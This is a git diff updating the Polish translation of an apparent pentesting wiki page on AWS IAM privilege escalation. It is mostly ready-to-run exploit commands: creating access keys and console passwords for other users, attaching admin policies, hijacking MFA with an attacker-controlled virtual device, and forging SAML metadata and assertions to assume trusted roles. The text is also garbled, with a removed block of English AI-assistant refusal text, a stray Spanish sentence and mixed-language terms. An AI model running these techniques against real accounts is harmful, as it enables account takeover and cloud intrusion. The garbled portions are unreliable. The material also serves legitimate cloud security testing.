diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index f3d56217f..86f8f5ec3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Aby uzyskać więcej informacji o IAM, zobacz: +Aby uzyskać więcej informacji o IAM, sprawdź: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,85 +12,104 @@ Aby uzyskać więcej informacji o IAM, zobacz: ### **`iam:CreatePolicyVersion`** -Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień. +Przyznaje możliwość utworzenia nowej wersji policy IAM, omijając potrzebę uprawnienia `iam:SetDefaultPolicyVersion` przez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie. +**Impact:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie. ### **`iam:SetDefaultPolicyVersion`** -Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień. +Umożliwia zmianę domyślnej wersji policy IAM na inną istniejącą wersję, potencjalnie eskalując uprawnienia, jeśli nowa wersja ma więcej uprawnień. -**Polecenie Bash:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień. +**Impact:** Pośrednia privilege escalation poprzez włączenie większej liczby uprawnień. ### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień. +Umożliwia utworzenie access key ID i secret access key dla innego użytkownika, co prowadzi do potencjalnej privilege escalation. -**Wykorzystanie:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika. +**Impact:** Bezpośrednia privilege escalation przez przyjęcie rozszerzonych uprawnień innego użytkownika. -Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy: +Należy zauważyć, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować permission `iam:DeleteAccessKey`, aby usunąć jedną z nich i móc utworzyć nową: ```bash aws iam delete-access-key --access-key-id ``` ### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** -Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń. +Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz skutecznie zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej MFA dla jego poświadczeń. +**Wymagania wstępne:** + +Możesz użyć dowolnego narzędzia do kodów TOTP — oathtool jest proste i lekkie. +```bash +sudo apt install oathtool +sudo dnf install oathtool +sudo yum install oathtool +``` **Exploit:** ```bash # Create a virtual MFA device (this returns the serial and the base32 seed) -aws iam create-virtual-mfa-device --virtual-mfa-device-name +aws iam create-virtual-mfa-device --virtual-mfa-device-name \ +--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt -# Generate 2 consecutive TOTP codes from the seed, then enable it for the user -aws iam enable-mfa-device --user-name --serial-number \ +# Generate 2 consecutive TOTP codes from the seed + +oathtool --base32 --totp "" -w 1 + +# Enable the new device for the user +aws iam enable-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień). +**Authenticate:** + +Po uzyskaniu podstawowej sesji jako użytkownik docelowy możesz użyć security token service, aby uzyskać token oparty na MFA. +```bash +aws sts get-session-token --serial-number --token-code +``` +**Wpływ:** Bezpośrednia privilege escalation przez przejęcie enrolment MFA użytkownika (a następnie użycie jego permissions). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień. +Pozwala na tworzenie lub aktualizowanie login profile, w tym ustawianie passwords dla AWS console login, co prowadzi do bezpośredniej privilege escalation. -**Eksploit dla tworzenia:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit dla aktualizacji:** +**Exploit for Update:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik "any". +**Impact:** Bezpośrednia privilege escalation przez zalogowanie się jako „dowolny” użytkownik. ### **`iam:UpdateAccessKey`** -Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz. +Pozwala włączyć wyłączony access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony key. -**Eksploit:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys. +**Impact:** Bezpośrednia privilege escalation przez ponowne aktywowanie access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to poświadczenia w postaci **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje. +Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to credentials **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje. -**Tworzenie:** +**Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` @@ -114,41 +133,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${ git clone "$CLONE_URL" cd "$REPO_NAME" ``` -> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode). +> Note: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je w URL. -W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz **AWS access keys**, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager): +W tym momencie możesz odczytać wszystko, do czego użytkownik docelowy ma dostęp w CodeCommit (np. leakowany plik z credentials). Jeśli pobierzesz **AWS access keys** z repozytorium, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do resources (na przykład odczytaj flagę z Secrets Manager): ```bash aws secretsmanager get-secret-value --secret-id --profile ``` -**Resetowanie:** +**Reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi). +**Impact:** Eskalacja uprawnień do uprawnień użytkownika docelowego dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki. +Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia przez dziedziczenie uprawnień dołączonej polityki. **Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit dla grupy:** +**Exploit dla Group:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka. +**Wpływ:** Bezpośrednia privilege escalation do wszystkiego, co policy przyznaje. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień. +Umożliwia attachowanie lub putting policy do roles, users lub groups, co pozwala na bezpośrednią privilege escalation przez nadanie dodatkowych permissions. **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploit for Inline Policies:** +**Exploit dla Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -172,28 +191,28 @@ Możesz użyć polityki takiej jak: ] } ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk. +**Impact:** Bezpośrednia privilege escalation przez dodawanie uprawnień za pomocą policies. ### **`iam:AddUserToGroup`** -Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy. +Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy. +**Impact:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy. ### **`iam:UpdateAssumeRolePolicy`** -Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień. +Pozwala zmieniać dokument polityki assume role dla roli, umożliwiając przejęcie roli i jej powiązanych uprawnień. -**Eksploit:** +**Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli: +Gdzie polityka wygląda jak poniżej, co daje użytkownikowi uprawnienie do przyjęcia roli: ```json { "Version": "2012-10-17", @@ -208,38 +227,38 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj ] } ``` -**Impact:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli. +**Wpływ:** Bezpośrednia eskalacja uprawnień przez przyjęcie uprawnień dowolnej roli. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień. +Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień. -**Eksploit do przesyłania klucza SSH:** +**Exploit dla SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit do dezaktywacji MFA:** +**Exploit dla deaktywacji MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Wpływ:** Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA. +**Wpływ:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA. ### **`iam:ResyncMFADevice`** -Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA. +Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA. -**Polecenie Bash:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA. +**Impact:** Pośrednia privilege escalation poprzez dodawanie lub manipulowanie urządzeniami MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby wykonać **login** na dowolną **rolę, która jej ufa**. +Z tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** do dowolnej **role that is trusting** it. -Zauważ, że wykonując to **legit users won't be able to login**. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację. +Pamiętaj, że jeśli to zrobisz, **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz wstawić własny, login i skonfigurować poprzedni back ```bash # List SAMLs aws iam list-saml-providers @@ -257,7 +276,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ``` **Atak end-to-end:** -1. Wypisz providera SAML i rolę, która mu ufa: +1. Wylicz SAML provider i rolę, która mu ufa: ```bash export AWS_REGION=${AWS_REGION:-us-east-1} @@ -272,7 +291,7 @@ aws iam list-roles | grep -i saml || true aws iam get-role --role-name "" export ROLE_ARN="arn:aws:iam:::role/" ``` -2. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca: +2. Forge metadane IdP + podpisany SAML assertion dla pary role/provider: ```bash python3 -m venv /tmp/saml-federation-venv source /tmp/saml-federation-venv/bin/activate @@ -289,7 +308,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") PY ```
-Rozwijane: /tmp/saml_forge.py pomocnik (metadane + podpisane stwierdzenie) +Rozwijane: /tmp/saml_forge.py helper (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations @@ -485,7 +504,7 @@ main() ```
-3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS: +3. Zaktualizuj metadane dostawcy SAML do swojego certyfikatu IdP, załóż rolę i użyj zwróconych poświadczeń STS: ```bash aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata.xml @@ -501,7 +520,7 @@ echo "Session expires at: $SESSION_EXP" AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \ aws sts get-caller-identity ``` -4. Sprzątanie: przywróć poprzednie metadane: +4. Cleanup: przywróć poprzednie metadane: ```bash python3 - <<'PY' import json @@ -512,11 +531,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ --saml-metadata-document file:///tmp/saml-metadata-original.xml ``` > [!WARNING] -> Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić. +> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy. +(Nie jestem pewien co do tego) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby umożliwić logowanie do wszystkich ról ufających providerowi. ```bash # List providers aws iam list-open-id-connect-providers @@ -527,7 +546,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia. +To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia przez umożliwienie mu wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -550,22 +569,22 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia. +Actor z `iam:PutRolePermissionsBoundary` może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia boundary roli: może nieprawidłowo ograniczyć operacje (powodując disruption usługi) albo, jeśli dołączy permissive boundary, faktycznie rozszerzyć to, co rola może robić, i eskalować uprawnienia. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` ### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken` -Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żądają tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA. +Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypina je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Używając seed tego kontrolowanego przez atakującego MFA, generuje poprawne jednorazowe hasła i żąda tokenu sesji uwierzytelnionej przez MFA za pośrednictwem STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe credentials jako ofiara, skutecznie przejmując konto, mimo że MFA jest wymuszone. -Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (`iam:DeactivateMFADevice`): +Jeśli docelowy użytkownik ma już MFA, dezaktywuj je (`iam:DeactivateMFADevice`): ```bash aws iam deactivate-mfa-device \ --user-name TARGET_USER \ --serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME ``` -Utwórz nowe virtual MFA device (zapisuje seed do pliku) +Utwórz nowe wirtualne urządzenie MFA (zapisuje seed do pliku) ```bash aws iam create-virtual-mfa-device \ --virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \ @@ -592,7 +611,7 @@ now = int(time.time()) print(totp(now)) print(totp(now + 30)) ``` -Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2: +Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2: ```bash aws iam enable-mfa-device \ --user-name TARGET_USER \ @@ -600,47 +619,7 @@ aws iam enable-mfa-device \ --authentication-code1 CODE1 \ --authentication-code2 CODE2 ``` -I can’t generate a live STS/MFA token code for an account I don’t control. I can, however, show how to generate one yourself and how to use it with AWS STS. - -How to generate a TOTP (MFA) code locally -- Using oathtool (Linux/macOS): - - Install: apt/yum/brew install oathtool - - Command: oathtool --totp -b "BASE32SECRET" - - Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP. - -- Using Python + pyotp: - - Install: pip install pyotp - - Command: python -c 'import pyotp; print(pyotp.TOTP("BASE32SECRET").now())' - - Replace BASE32SECRET with your actual BASE32 secret. - -Notes: -- The secret must be the one provisioned to your MFA device/account. -- Ensure system clock is accurate (NTP) — time drift causes invalid codes. -- Do not use secrets or codes that aren’t yours. - -How to use the code with AWS CLI (GetSessionToken) -- Example command (replace placeholders): - aws sts get-session-token \ - --serial-number arn:aws:iam::123456789012:mfa/your-user \ - --token-code 123456 \ - --duration-seconds 3600 - -- Replace: - - arn:... with your MFA device serial (or user ARN) - - 123456 with the TOTP you generated - - duration-seconds as needed (default/limits apply) - -- Example of the response structure (placeholder values): - { - "Credentials": { - "AccessKeyId": "ASIA...", - "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY", - "SessionToken": "IQoJb3JpZ2luX2VjEJr...", - "Expiration": "2026-03-31T12:34:56Z" - } - } - -If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug. +Wygeneruj aktualny kod tokena (dla STS) ```python import base64, hmac, hashlib, struct, time @@ -655,7 +634,7 @@ o = h[-1] & 0x0F code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000 print(f"{code:06d}") ``` -Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS): +Skopiuj wypisaną wartość jako TOKEN_CODE i zażądaj tokenu sesji z MFA (STS): ```bash aws sts get-session-token \ --serial-number MFA_SERIAL_ARN \